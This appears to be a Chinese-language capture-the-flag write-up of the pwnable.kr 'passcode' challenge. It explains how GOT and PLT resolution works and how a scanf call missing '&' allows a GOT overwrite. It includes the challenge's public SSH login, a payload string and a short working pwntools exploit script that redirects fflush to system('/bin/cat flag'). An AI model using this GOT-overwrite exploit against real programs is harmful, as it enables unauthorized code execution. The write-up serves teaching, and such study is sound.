初学C语言时,大家有没有遇到过这样的情景?
int a;
scanf("%d",a);
在使用scanf()
函数时,忘记加取地址符号&
.
结果程序报错,debug了半天,恍然发现,原来是忘记加坑爹的&
。
本文通过讲解一道pwnable.kr上的got表覆写题目,详细的解读GOT覆写技术,讲一讲scanf
不加&
到底有多坑。
概念:每一个外部定义的符号在全局偏移表(Global offset Table)中有相应的条目,GOT位于ELF的数据段中,叫做GOT段。
作用:把位置无关的地址计算重定位到一个绝对地址。程序首次调用某个库函数时,运行时连接编辑器(rtld
)找到相应的符号,并将它重定位到GOT之后每次调用这个函数都会将控制权直接转向那个位置,而不再调用rtld
。
过程连接表(Procedure Linkage Table),一个PLT条目对应一个GOT条目
当main()
函数开始,会请求plt中这个函数的对应GOT地址,如果第一次调用那么GOT会重定位到plt,并向栈中压入一个偏移,程序的执行回到_init()
函数,rtld
得以调用就可以定位printf
的符号地址,第二次运行程序再次调用这个函数时程序跳入plt,对应的GOT入口点就是真实的函数入口地址。
动态连接器并不会把动态库函数在编译的时候就包含到ELF文件中,仅仅是在这个ELF被加载的时候,才会把那些动态函库数代码加载进来,之前系统只会在ELF文件中的GOT中保留一个调用地址.
原理:由于GOT表是可写的,把其中的函数地址覆盖为我们shellcode地址,在程序进行调用这个函数时就会执行shellcode。
以上姿势来源: http://jing0107.lofter.com/post/1cbc869f_8b3d8a5
题目地址:http://pwnable.kr/
linux下用ssh去连pwnable
的服务器,密码是guest
$ ssh passcode@pwnable.kr -p2222
windows下可以用putty去连接
首先这段源代码中3个函数:main()
、login()
、welcome()
。
main()
函数中先调用了welcome()
,然后调用了login()
,剩下的只是打印一些信息,没有卵用。welcome()
做的事情是用scanf()
获取用户的名字,然后打印它,也没有什么用。所以这题的重点就在于login()
函数了。
login()
函数中,先后调用scanf()
获取用户输入的两个passcode
然后分别与338150
和13371337
作比较,如果相等的话,便会打印flag。这程序设计的逻辑似乎没啥问题,但是仔细一看,发现这里:
scanf("%d",passcode1);
中passcode1
没有加取地址符号&
如果scanf
没加&
的话,程序会默认从栈中读取4
个字节的数据当做scanf
取的地址
漏洞就发生在这里,我们可以利用上面提到的GOT覆写技术攻击这个程序。
将一个GOT表中的函数地址写到栈中,用来充当scanf()
取的地址,然后把system("/bin/cat flag")
这条指令的地址写到这个GOT表中的函数。
当这个函数被调用时,就会直接执行system("/bin/cat flag")
反汇编一下login()
可以看到,fflush()
将会在有漏洞的scanf()
函数之后被调用,所以我们选择覆写fflush()
在GOT表中的内容,让程序执行到上图高亮的地方的时候去执行system("/bin/cat flag")
。
在上图中还可以找到system("/bin/cat flag")
对应汇编代码开始于0x80485e3
(这里有两条指令,第一条将参数"/bin/cat flag"
入栈,第二条调用system()
)
也就是说要把0x80485e3
这个值写入fflush()
中
现在查看一下GOT表中fflush()
的位置,很多方法可以查看elf文件的GOT表,这里说两个常用的命令:
$ readelf -r target_elf
或者
$ objdump -R target_elf
查询结果如下:
fflush()
位于0x0804a004
现在我们明确了攻击的方式,以数据0x80485e3
覆写位于0x0804a004
的fflush()
函数的GOT表
之后要做的就是在栈中构造这些信息,不难发现welocome()
和login()
使用的是同一个EBP
,如图:
如下图,name
位于ebp-0x70
,passcode1
位于ebp-0x10
:
0x70 - 0x10 = 96
,也就是说name
这个字符串第96
个字节后的4字节数据将会被作为passcode1
的地址。
最终我们的payload
为:
"A" * 96 + p32(fflush_got) + str(0x80485e3)
这里要注意0x80485e3
要转换成十进制输入,因为scanf()
以%d
读取数据。
攻击后效果如图:
#!/usr/bin/python
from pwn import *
target = process('/home/passcode/passcode')
fflush_got = 0x0804a004
system_addr = 0x80485e3
payload = "A" * 96 + p32(fflush_got) + str(system_addr)
target.send(payload)
target.interactive()
scanf()
如果忘记加取地址符号&
,程序就会从栈中选取一个4字节数据充当这个地址,这点可能比较难以理解,下面用GDB展示一下这个过程。
下图是正常情况下(未被攻击) 有漏洞的scanf()
函数将参数入栈时的情况:
栈的情况:
我们可以看到scanf()
的两个参数arg[0] = "%d"
,arg[1] = 0xffffcfc4
。
相当于:
scanf("%d",0xffffcfc4);
来看看fflush()
执行时的情况:
正常的执行没有什么问题。
再看一下我们将fflush()
在GOT表中的地址写入栈中时(被攻击),有漏洞的scanf()
函数将参数入栈的情况:
栈的情况:
我们可以看到scanf()
的两个参数arg[0] = "%d"
,arg[1] = 0x804a004
。
原本应该随机取的地址,被我们修改成为了一个特定的值
这时,scanf
函数相当于:
scanf("%d",fflush@plt());
现在再来看看fflush()
执行时的情况:
已经跳到了某个神奇的地方了:)